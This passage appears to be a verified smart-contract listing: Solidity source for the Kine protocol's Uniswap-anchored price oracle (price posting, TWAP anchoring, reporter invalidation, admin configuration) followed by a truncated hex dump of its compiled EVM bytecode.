baseUnit, KPriceSource priceSource, uint fixedPrice, address uniswapMarket, bool isUniswapReversed); bytes32 constant ethHash = keccak256(abi.encodePacked("ETH")); bytes32 constant mcdHash = keccak256(abi.encodePacked("MCD")); bytes32 constant rotateHash = keccak256(abi.encodePacked("rotate")); /** * @dev Throws if called by any account other than the Kaptain. */ modifier onlyKaptain() { require(kaptain == _msgSender(), "caller is not the Kaptain"); _; } /** * @notice Construct a uniswap anchored view for a set of token configurations * @dev Note that to avoid immature TWAPs, the system must run for at least a single anchorPeriod before using. * @param priceData_ The open oracle price data contract * @param kineOracleConfig_ The configurations for kine oracle init * @param configs The static token configurations which define what prices are supported and how * @param compoundOracle_ The address of compound oracle */ constructor(OpenOraclePriceData priceData_, KineOracleConfig memory kineOracleConfig_, KTokenConfig[] memory configs, ICompoundOracle compoundOracle_) public { priceData = priceData_; reporter = kineOracleConfig_.reporter; kaptain = kineOracleConfig_.kaptain; uniswapFactory = kineOracleConfig_.uniswapFactory; wrappedETHAddress = kineOracleConfig_.wrappedETHAddress; anchorPeriod = kineOracleConfig_.anchorPeriod; compoundOracle = compoundOracle_; emit CompoundOracleUpdated(address(0), address(compoundOracle_)); uint anchorToleranceMantissa = kineOracleConfig_.anchorToleranceMantissa; // Allow the tolerance to be whatever the deployer chooses, but prevent under/overflow (and prices from being 0) upperBoundAnchorRatio = anchorToleranceMantissa > uint(-1) - 100e16 ? uint(-1) : 100e16 + anchorToleranceMantissa; lowerBoundAnchorRatio = anchorToleranceMantissa < 100e16 ? 100e16 - anchorToleranceMantissa : 1; for (uint i = 0; i < configs.length; i++) { KTokenConfig memory config = configs[i]; // configuration integrity check if(config.symbolHash != ethHash && config.priceSource == KPriceSource.REPORTER){ checkConfig(config); } kTokenConfigs.push(config); emit TokenConfigAdded(config.kToken, config.underlying, config.symbolHash, config.baseUnit, config.priceSource, config.fixedPrice, config.uniswapMarket, config.isUniswapReversed); require(config.baseUnit > 0, "baseUnit must be greater than zero"); address uniswapMarket = config.uniswapMarket; if (config.priceSource == KPriceSource.REPORTER || config.symbolHash == ethHash) { require(uniswapMarket != address(0), "prices must have an anchor"); bytes32 symbolHash = config.symbolHash; uint cumulativePrice = currentCumulativePrice(config); oldObservations[symbolHash].timestamp = block.timestamp; newObservations[symbolHash].timestamp = block.timestamp; oldObservations[symbolHash].acc = cumulativePrice; newObservations[symbolHash].acc = cumulativePrice; emit UniswapWindowUpdated(symbolHash, block.timestamp, block.timestamp, cumulativePrice, cumulativePrice); } else { require(uniswapMarket == address(0), "only reported prices utilize an anchor"); } } } /** * @notice Get the official price for a symbol * @param symbol The symbol to fetch the price of * @return Price denominated in USD, with 6 decimals */ function price(string memory symbol) external view returns (uint) { KTokenConfig memory config = getKTokenConfigBySymbol(symbol); // not kine configuration, redirect to compound oracle if(config.underlying == address(0)){ return compoundOracle.price(symbol); } return priceInternal(config); } function priceInternal(KTokenConfig memory config) internal view returns (uint) { if (config.priceSource == KPriceSource.KAPTAIN || config.priceSource == KPriceSource.REPORTER) { return prices[config.symbolHash]; } if (config.priceSource == KPriceSource.FIXED_USD) return config.fixedPrice; if (config.priceSource == KPriceSource.FIXED_ETH) { uint usdPerEth = prices[ethHash]; require(usdPerEth > 0, "ETH price not set, cannot convert to dollars"); return mul(usdPerEth, config.fixedPrice) / ethBaseUnit; } } /** * @notice Get the underlying price of a kToken * @dev Implements the PriceOracle interface for Kine. * @param kToken The kToken address for price retrieval * @return Price denominated in USD, with 18 decimals, for the given kToken address */ function getUnderlyingPrice(address kToken) external view returns (uint) { // check if this is kinedPrice KTokenConfig memory config = getKConfigByKToken(kToken); // is not kine owned price token, fetch compound config and use cToken to get compound price // ETH underlying is also address(0), so logic still works if (config.underlying == address(0)) { UniswapConfig.TokenConfig memory cConfig = compoundOracle.getTokenConfigBySymbolHash(config.symbolHash); require(cConfig.cToken != address(0), "token config not found in compound"); return compoundOracle.getUnderlyingPrice(cConfig.cToken); } // Controller needs prices in the format: ${raw price} * 1e(36 - baseUnit) // Since the prices in this view have 6 decimals, we must scale them by 1e(36 - 6 - baseUnit) return mul(1e30, priceInternal(config)) / config.baseUnit; } /** * @notice Post kine supported prices, and recalculate stored reporter price by comparing to anchor * @dev only priceSource not configured as "COMPOUND" will be stored in the view. * @param messages The messages to post to the oracle * @param signatures The signatures for the corresponding messages * @param symbols The symbols to compare to anchor for authoritative reading */ function postPrices(bytes[] calldata messages, bytes[] calldata signatures, string[] calldata symbols) external onlyKaptain{ require(messages.length == signatures.length, "messages and signatures must be 1:1"); // Save the prices for (uint i = 0; i < messages.length; i++) { priceData.put(messages[i], signatures[i]); } uint ethPrice = fetchEthPrice(); // Try to update the view storage for (uint i = 0; i < symbols.length; i++) { KTokenConfig memory config = getKTokenConfigBySymbol(symbols[i]); require(config.symbolHash != mcdHash, "MCD price goes to postMcdPrice"); // skip for non-kine config, which should have valid underlying address if(config.underlying != address(0)){ uint reporterPrice = priceData.getPrice(reporter, symbols[i]); if(config.priceSource != KPriceSource.COMPOUND) postPriceInternal(symbols[i], ethPrice, config, reporterPrice); } } } /** * @dev MCD price can only come from Kaptain */ function postMcdPrice(uint mcdPrice) external onlyKaptain{ require(!reporterInvalidated, "reporter invalidated"); require(mcdPrice != 0, "MCD price cannot be 0"); mcdLastUpdatedAt = block.timestamp; prices[mcdHash] = mcdPrice; emit PriceUpdated("MCD", mcdPrice); } function postReporterOnlyPriceInternal(string memory symbol, KTokenConfig memory config, uint reporterPrice) internal { require(!reporterInvalidated, "reporter invalidated"); require(reporterPrice != 0, "price cannot be 0"); prices[config.symbolHash] = reporterPrice; emit PriceUpdated(symbol, reporterPrice); } function postPriceInternal(string memory symbol, uint ethPrice, KTokenConfig memory config, uint reporterPrice) internal { require(config.priceSource == KPriceSource.REPORTER, "only reporter prices get posted"); uint anchorPrice; if (config.symbolHash == ethHash) { anchorPrice = ethPrice; } else { anchorPrice = fetchAnchorPrice(symbol, config, ethPrice); } if (reporterInvalidated) { prices[config.symbolHash] = anchorPrice; emit PriceUpdated(symbol, anchorPrice); } else if (isWithinAnchor(reporterPrice, anchorPrice)) { prices[config.symbolHash] = reporterPrice; emit PriceUpdated(symbol, reporterPrice); } else { emit PriceGuarded(symbol, reporterPrice, anchorPrice); } } /** * @dev Check if the reported price is within the range allowed by anchor ratio and anchor price from uniswap. */ function isWithinAnchor(uint reporterPrice, uint anchorPrice) internal view returns (bool) { if (reporterPrice > 0) { uint anchorRatio = mul(reporterPrice, 100e16) / anchorPrice; return anchorRatio <= upperBoundAnchorRatio && anchorRatio >= lowerBoundAnchorRatio; } return false; } /** * @dev Fetches the current token/eth price accumulator from uniswap. */ function currentCumulativePrice(KTokenConfig memory config) internal view returns (uint) { (uint cumulativePrice0, uint cumulativePrice1,) = UniswapV2OracleLibrary.currentCumulativePrices(config.uniswapMarket); if (config.isUniswapReversed) { return cumulativePrice1; } else { return cumulativePrice0; } } /** * @dev Fetches the current eth/usd price from uniswap, with 6 decimals of precision. * Conversion factor is 1e18 for eth/usdc market, since we decode uniswap price statically with 18 decimals. */ function fetchEthPrice() internal returns (uint) { return fetchAnchorPrice("ETH", getKTokenConfigBySymbolHash(ethHash), ethBaseUnit); } /** * @dev Fetches the current token/usd price from uniswap, with 6 decimals of precision. * @param conversionFactor 1e18 if seeking the ETH price, and a 6 decimal ETH-USDC price in the case of other assets */ function fetchAnchorPrice(string memory symbol, KTokenConfig memory config, uint conversionFactor) internal virtual returns (uint) { (uint nowCumulativePrice, uint oldCumulativePrice, uint oldTimestamp) = pokeWindowValues(config); // This should be impossible, but better safe than sorry require(block.timestamp > oldTimestamp, "now must come after before"); uint timeElapsed = block.timestamp - oldTimestamp; // Calculate uniswap time-weighted average price // Underflow is a property of the accumulators: https://uniswap.org/audit.html#orgc9b3190 FixedPoint.uq112x112 memory priceAverage = FixedPoint.uq112x112(uint224((nowCumulativePrice - oldCumulativePrice) / timeElapsed)); uint rawUniswapPriceMantissa = priceAverage.decode112with18(); uint unscaledPriceMantissa = mul(rawUniswapPriceMantissa, conversionFactor); uint anchorPrice; // Adjust rawUniswapPrice according to the units of the non-ETH asset // In the case of ETH, we would have to scale by 1e6 / USDC_UNITS, but since baseUnit2 is 1e6 (USDC), it cancels // In the case of non-ETH tokens // a. pokeWindowValues already handled uniswap reversed cases, so priceAverage will always be Token/ETH TWAP price. // b. conversionFactor = ETH price * 1e6 // unscaledPriceMantissa = priceAverage(token/ETH TWAP price) * expScale * conversionFactor // so -> // anchorPrice = priceAverage * tokenBaseUnit / ethBaseUnit * ETH_price * 1e6 // = priceAverage * conversionFactor * tokenBaseUnit / ethBaseUnit // = unscaledPriceMantissa / expScale * tokenBaseUnit / ethBaseUnit anchorPrice = mul(unscaledPriceMantissa, config.baseUnit) / ethBaseUnit / expScale; emit AnchorPriceUpdated(symbol, anchorPrice, oldTimestamp, block.timestamp); return anchorPrice; } /** * @dev Get time-weighted average prices for a token at the current timestamp. * Update new and old observations of lagging window if period elapsed. */ function pokeWindowValues(KTokenConfig memory config) internal returns (uint, uint, uint) { bytes32 symbolHash = config.symbolHash; uint cumulativePrice = currentCumulativePrice(config); Observation memory newObservation = newObservations[symbolHash]; // Update new and old observations if elapsed time is greater than or equal to anchor period uint timeElapsed = block.timestamp - newObservation.timestamp; if (timeElapsed >= anchorPeriod) { oldObservations[symbolHash].timestamp = newObservation.timestamp; oldObservations[symbolHash].acc = newObservation.acc; newObservations[symbolHash].timestamp = block.timestamp; newObservations[symbolHash].acc = cumulativePrice; emit UniswapWindowUpdated(config.symbolHash, newObservation.timestamp, block.timestamp, newObservation.acc, cumulativePrice); } return (cumulativePrice, oldObservations[symbolHash].acc, oldObservations[symbolHash].timestamp); } /** * @notice Invalidate the reporter, and fall back to using anchor directly in all cases * @dev Only the reporter may sign a message which allows it to invalidate itself. * To be used in cases of emergency, if the reporter thinks their key may be compromised. * @param message The data that was presumably signed * @param signature The fingerprint of the data + private key */ function invalidateReporter(bytes memory message, bytes memory signature) external { (string memory decodedMessage,) = abi.decode(message, (string, address)); require(keccak256(abi.encodePacked(decodedMessage)) == rotateHash, "invalid message must be 'rotate'"); require(source(message, signature) == reporter, "invalidation message must come from the reporter"); if(!reporterInvalidated){ reporterInvalidated = true; emit ReporterInvalidated(reporter); } } /** * @notice Recovers the source address which signed a message * @dev Comparing to a claimed address would add nothing, * as the caller could simply perform the recover and claim that address. * @param message The data that was presumably signed * @param signature The fingerprint of the data + private key * @return The source address which signed the message, presumably */ function source(bytes memory message, bytes memory signature) public pure returns (address) { (bytes32 r, bytes32 s, uint8 v) = abi.decode(signature, (bytes32, bytes32, uint8)); bytes32 hash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", keccak256(message))); return ecrecover(hash, v, r, s); } /// @dev Overflow proof multiplication function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) return 0; uint c = a * b; require(c / a == b, "multiplication overflow"); return c; } /** * @dev The admin function used to redirect to new compound oracle */ function setCompoundOracle(address oracleAddress) public onlyOwner { address oldCompoundOracle = address(compoundOracle); compoundOracle = ICompoundOracle(oracleAddress); emit CompoundOracleUpdated(oldCompoundOracle, oracleAddress); } /// @dev The admin function to add config for supporting more token prices function addConfig(address kToken_, address underlying_, bytes32 symbolHash_, uint baseUnit_, KPriceSource priceSource_, uint fixedPrice_, address uniswapMarket_, bool isUniswapReversed_) public onlyOwner { KTokenConfig memory config = KTokenConfig({ kToken: kToken_, underlying: underlying_, symbolHash: symbolHash_, baseUnit: baseUnit_, priceSource: priceSource_, fixedPrice: fixedPrice_, uniswapMarket: uniswapMarket_, isUniswapReversed: isUniswapReversed_ }); require(config.baseUnit > 0, "baseUnit must be greater than zero"); // configuration integrity check if(config.symbolHash != ethHash && config.priceSource == KPriceSource.REPORTER){ checkConfig(config); } address uniswapMarket = config.uniswapMarket; if (config.priceSource == KPriceSource.REPORTER || config.symbolHash == ethHash) { require(uniswapMarket != address(0), "prices must have an anchor"); bytes32 symbolHash = config.symbolHash; uint cumulativePrice = currentCumulativePrice(config); oldObservations[symbolHash].timestamp = block.timestamp; newObservations[symbolHash].timestamp = block.timestamp; oldObservations[symbolHash].acc = cumulativePrice; newObservations[symbolHash].acc = cumulativePrice; emit UniswapWindowUpdated(symbolHash, block.timestamp, block.timestamp, cumulativePrice, cumulativePrice); } else { require(uniswapMarket == address(0), "only reported prices utilize an anchor"); } kTokenConfigs.push(config); emit TokenConfigAdded(config.kToken, config.underlying, config.symbolHash, config.baseUnit, config.priceSource, config.fixedPrice, config.uniswapMarket, config.isUniswapReversed); } /// @dev The admin function to remove config by its kToken address function removeConfigByKToken(address kToken) public onlyOwner { uint index = getKConfigIndexByKToken(kToken); if (index == uint(-1)) { revert("not found"); } KTokenConfig memory tmpConfig = kTokenConfigs[index]; kTokenConfigs[index] = kTokenConfigs[kTokenConfigs.length - 1]; // remove all token related information delete oldObservations[tmpConfig.symbolHash]; delete newObservations[tmpConfig.symbolHash]; delete prices[tmpConfig.symbolHash]; kTokenConfigs.pop(); emit TokenConfigRemoved(tmpConfig.kToken, tmpConfig.underlying, tmpConfig.symbolHash, tmpConfig.baseUnit, tmpConfig.priceSource, tmpConfig.fixedPrice, tmpConfig.uniswapMarket, tmpConfig.isUniswapReversed); } /** * @dev The admin function to change price reporter * This function will set the new price reporter and set the reporterInvalidated flag to false */ function changeReporter(address reporter_) public onlyOwner{ require(reporter_ != reporter, "same reporter"); address oldReporter = reporter; reporter = reporter_; if(reporterInvalidated){ reporterInvalidated = false; } emit ReporterUpdated(oldReporter, reporter_); } /** * @dev The admin function to change the kaptain contract address */ function changeKaptain(address kaptain_) public onlyOwner{ require(kaptain != kaptain_, "same kaptain"); address oldKaptain = kaptain; kaptain = kaptain_; emit KaptainUpdated(oldKaptain, kaptain_); } }
0x608060405234801561001057600080fd5b50600436106102325760003560e01c80639b23373311610130578063d5570009116100b8578063ecc1e9841161007c578063ecc1e98414610469578063f2fde38b1461047c578063fc3b36451461048f578063fc57d4df14610497578063fe2c6198146104aa57610232565b8063d557000914610420578063e61a5fe414610433578063e898a8021461043b578063e9206d781461044e578063eaa1c2ca1461045657610232565b8063b1ff3ee2116100ff578063b1ff3ee2146103df578063bb045821146103e7578063c509ab43146103fa578063d1b353b41461033d578063d23b35d21461040d57610232565b80639b2337331461039e578063a5ede078146103b1578063a7e2e434146103b9578063abe7a7f0146103cc57610232565b8063651ed788116101be5780638aba91b4116101825780638aba91b4146103605780638bdb2afa146103735780638d7e9e641461037b5780638da5cb5b1461038e57806392b843571461039657610232565b8063651ed78814610315578063676334b31461032a57806369aa3ac61461033d578063715018a61461034557806372d291121461034d57610232565b806325f5682a1161020557806325f5682a1461029257806337c0e12d146102b9578063482a6193146102da5780635a31ee45146102ed57806360846bc61461030257610232565b8063010ec441146102375780630450e595146102555780631cf92e1e14610275578063241052091461028a575b600080fd5b61023f6104bd565b60405161024c9190612f37565b60405180910390f35b610268610263366004612b65565b6104cc565b60405161024c91906136ae565b61027d61050b565b60405161024c9190612ff8565b61027d610511565b6102a56102a0366004612aaf565b610535565b60405161024c989796959493929190612f65565b6102cc6102c7366004612aaf565b61059e565b60405161024c929190613720565b61023f6102e8366004612b04565b6105b7565b6103006102fb36600461296d565b610665565b005b61027d610310366004612aaf565b610730565b61031d610742565b60405161024c9190612fed565b61030061033836600461296d565b61074b565b61027d610a8e565b610300610a9a565b61027d61035b36600461296d565b610b19565b61030061036e366004612b04565b610c14565b61023f610d2b565b610268610389366004612aaf565b610d3a565b61023f610e1c565b61027d610e2b565b6103006103ac366004612aaf565b610e4f565b61023f610f41565b6103006103c7366004612989565b610f50565b6103006103da366004612c23565b61136f565b61023f61141c565b61027d6103f536600461296d565b61142b565b61026861040836600461296d565b611522565b61030061041b36600461296d565b611535565b61030061042e36600461296d565b611600565b61023f611688565b61027d610449366004612aaf565b6116ac565b61027d61179d565b6102cc610464366004612aaf565b6117c1565b610300610477366004612a19565b6117da565b61030061048a36600461296d565b611b57565b61023f611c0d565b61027d6104a536600461296d565b611c1c565b61027d6104b8366004612b65565b611db6565b6005546001600160a01b031681565b6104d46127a0565b610503826040516020016104e89190612e64565b60405160208183030381529060405280519060200120610d3a565b90505b919050565b60075481565b7f00000000000000000000000000000000000000000000000010a741a46278000081565b6001818154811061054257fe5b600091825260209091206007909102018054600182015460028301546003840154600485015460058601546006909601546001600160a01b039586169750938516959294919360ff9182169392811691600160a01b9091041688565b600a602052600090815260409020805460019091015482565b600080600080848060200190518101906105d19190612ac7565b925092509250600086805190602001206040516020016105f19190612e80565b6040516020818303038152906040528051906020012090506001818386866040516000815260200160405260405161062c9493929190613001565b6020604051602081039080840390855afa15801561064e573d6000803e3d6000fd5b505050602060405103519450505050505b92915050565b61066d612135565b6000546001600160a01b039081169116146106a35760405162461bcd60e51b815260040161069a9061335e565b60405180910390fd5b6006546001600160a01b03828116911614156106d15760405162461bcd60e51b815260040161069a9061329c565b600680546001600160a01b038381166001600160a01b03198316179092556040519116907f98d4ce1aa09e8bff977cd04baf72bd5c08dc277486f183b7eda48e532c715222906107249083908590612f4b565b60405180910390a15050565b60086020526000908152604090205481565b60095460ff1681565b610753612135565b6000546001600160a01b039081169116146107805760405162461bcd60e51b815260040161069a9061335e565b600061078b82610b19565b90506000198114156107af5760405162461bcd60e51b815260040161069a90613393565b6107b76127a0565b600182815481106107c457fe5b60009182526020918290206040805161010081018252600790930290910180546001600160a01b0390811684526001820154169383019390935260028301549082015260038201546060820152600480830154919291608084019160ff9091169081111561082e57fe5b600481111561083957fe5b8152600582015460208201526006909101546001600160a01b0381166040830152600160a01b900460ff1615156060909101526001805491925090600019810190811061088257fe5b90600052602060002090600702016001838154811061089d57fe5b60009182526020909120825460079092020180546001600160a01b03199081166001600160a01b039384161782556001808501548184018054909316941693909317905560028084015490820155600380840154908201556004808401548183018054939460ff90921693909260ff199091169190849081111561091d57fe5b021790555060058281015490820155600691820180549290910180546001600160a01b0319166001600160a01b0390931692909217808355905460ff600160a01b918290041615150260ff60a01b19909116179055604080820180516000908152600a6020908152838220828155600190810183905583518352600b825284832083815581018390559251825260089052918220919091558054806109be57fe5b6000828152602080822060076000199094019384020180546001600160a01b031990811682556001820180549091169055600281018390556003810183905560048101805460ff191690556005810192909255600690910180546001600160a81b031916905591558151908201516040808401516060850151608086015160a087015160c088015160e089015195517fc116a28bf48d1f77f77955cfe4c3a6d685100122550479194aa76b15fb6dbf1498610a8198909790969594939291612f65565b60405180910390a1505050565b670de0b6b3a764000081565b610aa2612135565b6000546001600160a01b03908116911614610acf5760405162461bcd60e51b815260040161069a9061335e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000805b600154811015610c0a57610b2f6127a0565b60018281548110610b3c57fe5b60009182526020918290206040805161010081018252600790930290910180546001600160a01b0390811684526001820154169383019390935260028301549082015260038201546060820152600480830154919291608084019160ff90911690811115610ba657fe5b6004811115610bb157fe5b8152600582015460208201526006909101546001600160a01b038082166040840152600160a01b90910460ff161515606090920191909152815191925085811691161415610c0157509050610506565b50600101610b1d565b5060001992915050565b606082806020019051810190610c2a9190612bd3565b509050604051602001610c3c90612eb1565b6040516020818303038152906040528051906020012081604051602001610c639190612e64565b6040516020818303038152906040528051906020012014610c965760405162461bcd60e51b815260040161069a9061340c565b6005546001600160a01b0316610cac84846105b7565b6001600160a01b031614610cd25760405162461bcd60e51b815260040161069a9061324c565b60095460ff16610d26576009805460ff191660011790556005546040517f98a13f7b181a3a1f99c871e7a3507d4a037d386d157279f978e0d555ae9fe74d91610a81916001600160a01b0390911690612f37565b505050565b6002546001600160a01b031681565b610d426127a0565b6000610d4d836116ac565b90506000198114610e165760018181548110610d6557fe5b60009182526020918290206040805161010081018252600790930290910180546001600160a01b0390811684526001820154169383019390935260028301549082015260038201546060820152600480830154919291608084019160ff90911690811115610dcf57fe5b6004811115610dda57fe5b8152600582015460208201526006909101546001600160a01b0381166040830152600160a01b900460ff16151560609091015291506105069050565b50919050565b6000546001600160a01b031690565b7f0000000000000000000000000000000000000000000000000b1a2bc2ec50000081565b610e57612135565b6006546001600160a01b03908116911614610e845760405162461bcd60e51b815260040161069a906130da565b60095460ff1615610ea75760405162461bcd60e51b815260040161069a906132f9565b80610ec45760405162461bcd60e51b815260040161069a906133dd565b426007819055508060086000604051602001610edf90612f28565b604051602081830303815290604052805190602001208152602001908152602001600020819055507f159e83f4712ba2552e68be9d848e49bf6dd35c24f19564ffd523b6549450a2f481604051610f369190613517565b60405180910390a150565b6006546001600160a01b031681565b610f58612135565b6000546001600160a01b03908116911614610f855760405162461bcd60e51b815260040161069a9061335e565b610f8d6127a0565b6040518061010001604052808a6001600160a01b03168152602001896001600160a01b03168152602001888152602001878152602001866004811115610fcf57fe5b8152602001858152602001846001600160a01b03168152602001831515815250905060008160600151116110155760405162461bcd60e51b815260040161069a90613157565b60405160200161102490612f19565b6040516020818303038152906040528051906020012081604001511415801561105c575060028160800151600481111561105a57fe5b145b1561106a5761106a8161136f565b60c081015160028260800151600481111561108157fe5b14806110b4575060405160200161109790612f19565b604051602081830303815290604052805190602001208260400151145b15611166576001600160a01b0381166110df5760405162461bcd60e51b815260040161069a9061353c565b604082015160006110ef84612139565b6000838152600a6020908152604080832042808255600b90935292819020828155600193840185905592909201839055905191925083917fe37d39315e3419c0937360f1ac88f2c52ecf67e3b22b367f82047ddb4591904a916111579181908690819061372e565b60405180910390a2505061118d565b6001600160a01b0381161561118d5760405162461bcd60e51b815260040161069a90613668565b6001805480820182556000829052835160079091027fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6810180546001600160a01b039384166001600160a01b031991821617825560208701517fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf7840180549190951691161790925560408501517fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf882015560608501517fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf982015560808501517fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cfa9091018054869460ff19909116908360048111156112a757fe5b021790555060a082810151600583015560c0808401516006909301805460e0958601511515600160a01b0260ff60a01b196001600160a01b039096166001600160a01b031990921691909117949094169390931790925584516020860151604080880151606089015160808a0151958a0151968a0151978a015192517f7a7215a0963f50f0e39e81ccb2cc72f78392480adbe44f46ce3539bafd19d2029861135b9896979596939592949293929091612f65565b60405180910390a150505050505050505050565b6002546003546020830151600092611395926001600160a01b0391821692911690611e75565b90508160c001516001600160a01b0316816001600160a01b0316146113cc5760405162461bcd60e51b815260040161069a90613441565b60035460208301516000916001600160a01b039081169116106113f05760016113f3565b60005b90508260e00151151581151514610d265760405162461bcd60e51b815260040161069a906135aa565b6004546001600160a01b031681565b6000805b600154811015610c0a576114416127a0565b6001828154811061144e57fe5b60009182526020918290206040805161010081018252600790930290910180546001600160a01b0390811684526001820154169383019390935260028301549082015260038201546060820152600480830154919291608084019160ff909116908111156114b857fe5b60048111156114c357fe5b815260058201546020808301919091526006909201546001600160a01b038082166040840152600160a01b90910460ff161515606090920191909152908201519192508581169116141561151957509050610506565b5060010161142f565b61152a6127a0565b6000610d4d83610b19565b61153d612135565b6000546001600160a01b0390811691161461156a5760405162461bcd60e51b815260040161069a9061335e565b6005546001600160a01b03828116911614156115985760405162461bcd60e51b815260040161069a906133b6565b600580546001600160a01b038381166001600160a01b031983161790925560095491169060ff16156115cf576009805460ff191690555b7f2165dd240095b91f7a7b97c5b44df07c2fb068d30a9b4678f1002835aae61c2f8183604051610724929190612f4b565b611608612135565b6000546001600160a01b039081169116146116355760405162461bcd60e51b815260040161069a9061335e565b600480546001600160a01b038381166001600160a01b03198316179092556040519116907f5c8e5cc101218724fd47e57acda4ef1a45a688aeb2812806100db2592f113d5b906107249083908590612f4b565b7f000000000000000000000000c629c26dced4277419cde234012f8160a0278a7981565b6000805b600154811015610c0a576116c26127a0565b600182815481106116cf57fe5b60009182526020918290206040805161010081018252600790930290910180546001600160a01b0390811684526001820154169383019390935260028301549082015260038201546060820152600480830154919291608084019160ff9091169081111561173957fe5b600481111561174457fe5b8152600582015460208201526006909101546001600160a01b038116604080840191909152600160a01b90910460ff16151560609092019190915281015190915084141561179457509050610506565b506001016116b0565b7f000000000000000000000000000000000000000000000000000000000000070881565b600b602052600090815260409020805460019091015482565b6117e2612135565b6006546001600160a01b0390811691161461180f5760405162461bcd60e51b815260040161069a906130da565b84831461182e5760405162461bcd60e51b815260040161069a906135ee565b60005b85811015611922577f000000000000000000000000c629c26dced4277419cde234012f8160a0278a796001600160a01b03166338636e9a88888481811061187457fe5b90506020028101906118869190613749565b88888681811061189257fe5b90506020028101906118a49190613749565b6040518563ffffffff1660e01b81526004016118c3949392919061301f565b600060405180830381600087803b1580156118dd57600080fd5b505af11580156118f1573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526119199190810190612ba0565b50600101611831565b50600061192d61216b565b905060005b82811015611b4d576119426127a0565b61199d85858481811061195157fe5b90506020028101906119639190613749565b8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152506104cc92505050565b90506040516020016119ae90612f28565b60405160208183030381529060405280519060200120816040015114156119e75760405162461bcd60e51b815260040161069a90613199565b60208101516001600160a01b031615611b44576005546000906001600160a01b037f000000000000000000000000c629c26dced4277419cde234012f8160a0278a798116916376977a3a9116888887818110611a3f57fe5b9050602002810190611a519190613749565b6040518463ffffffff1660e01b8152600401611a6f93929190612fbf565b60206040518083038186803b158015611a8757600080fd5b505afa158015611a9b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611abf9190612db1565b67ffffffffffffffff169050600482608001516004811115611add57fe5b14611b4257611b42868685818110611af157fe5b9050602002810190611b039190613749565b8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508892508691508590506121b1565b505b50600101611932565b5050505050505050565b611b5f612135565b6000546001600160a01b03908116911614611b8c5760405162461bcd60e51b815260040161069a9061335e565b6001600160a01b038116611bb25760405162461bcd60e51b815260040161069a90613111565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6003546001600160a01b031681565b6000611c266127a0565b611c2f83611522565b60208101519091506001600160a01b0316611d8357611c4c6127e6565b600480546040808501519051630684948160e21b81526001600160a01b0390921692631a12520492611c7f929101612ff8565b6101006040518083038186803b158015611c9857600080fd5b505afa158015611cac573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cd09190612cc0565b80519091506001600160a01b0316611cfa5760405162461bcd60e51b815260040161069a90613489565b60048054825160405163fc57d4df60e01b81526001600160a01b039092169263fc57d4df92611d2a929101612f37565b60206040518083038186803b158015611d4257600080fd5b505afa158015611d56573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d7a9190612d99565b92505050610506565b8060600151611da76c0c9f2c9cd04674edea40000000611da28461231d565b612427565b81611dae57fe5b049392505050565b6000611dc06127a0565b611dc9836104cc565b60208101519091506001600160a01b0316611e655760048054604051631fc58c3360e31b81526001600160a01b039091169163fe2c619891611e0d91879101613051565b60206040518083038186803b158015611e2557600080fd5b505afa158015611e39573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e5d9190612d99565b915050610506565b611e6e8161231d565b9392505050565b6000806000611e848585612461565b91509150858282604051602001611e9c929190612e3d565b60405160208183030381529060405280519060200120604051602001611ec3929190612ec3565b60408051601f1981840301815291905280516020909101209695505050505050565b6000806000611ef26124eb565b9050836001600160a01b0316635909c0d56040518163ffffffff1660e01b815260040160206040518083038186803b158015611f2d57600080fd5b505afa158015611f41573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f659190612d99565b9250836001600160a01b0316635a3d54936040518163ffffffff1660e01b815260040160206040518083038186803b158015611fa057600080fd5b505afa158015611fb4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fd89190612d99565b91506000806000866001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561201857600080fd5b505afa15801561202c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120509190612d50565b9250925092508363ffffffff168163ffffffff16146120b05780840363ffffffff811661207d84866120ba565b516001600160e01b031602969096019563ffffffff811661209e85856120ba565b516001600160e01b0316029590950194505b5050509193909250565b6120c2612815565b6000826001600160701b0316116120eb5760405162461bcd60e51b815260040161069a90613631565b6040805160208101909152806001600160701b0384166dffffffffffffffffffffffffffff60701b607087901b168161212057fe5b046001600160e01b0316815250905092915050565b3390565b600080600061214b8460c00151611ee5565b50915091508360e00151156121635791506105069050565b509050610506565b60006121ac6040518060400160405280600381526020016208aa8960eb1b81525061219e6040516020016104e890612f19565b670de0b6b3a76400006124f5565b905090565b6002826080015160048111156121c357fe5b146121e05760405162461bcd60e51b815260040161069a906132c2565b60006040516020016121f190612f19565b6040516020818303038152906040528051906020012083604001511415612219575082612227565b6122248584866124f5565b90505b60095460ff16156122855760408084015160009081526008602052819020829055517f159e83f4712ba2552e68be9d848e49bf6dd35c24f19564ffd523b6549450a2f4906122789087908490613064565b60405180910390a1612316565b61228f82826125ed565b156122da5760408084015160009081526008602052819020839055517f159e83f4712ba2552e68be9d848e49bf6dd35c24f19564ffd523b6549450a2f4906122789087908590613064565b7f90756d4c8646a4591078abac0e4e32dfa8437921729e36d51b88b659d265bfde85838360405161230d93929190613086565b60405180910390a15b5050505050565b600060038260800151600481111561233157fe5b148061234c575060028260800151600481111561234a57fe5b145b156123695750604080820151600090815260086020522054610506565b60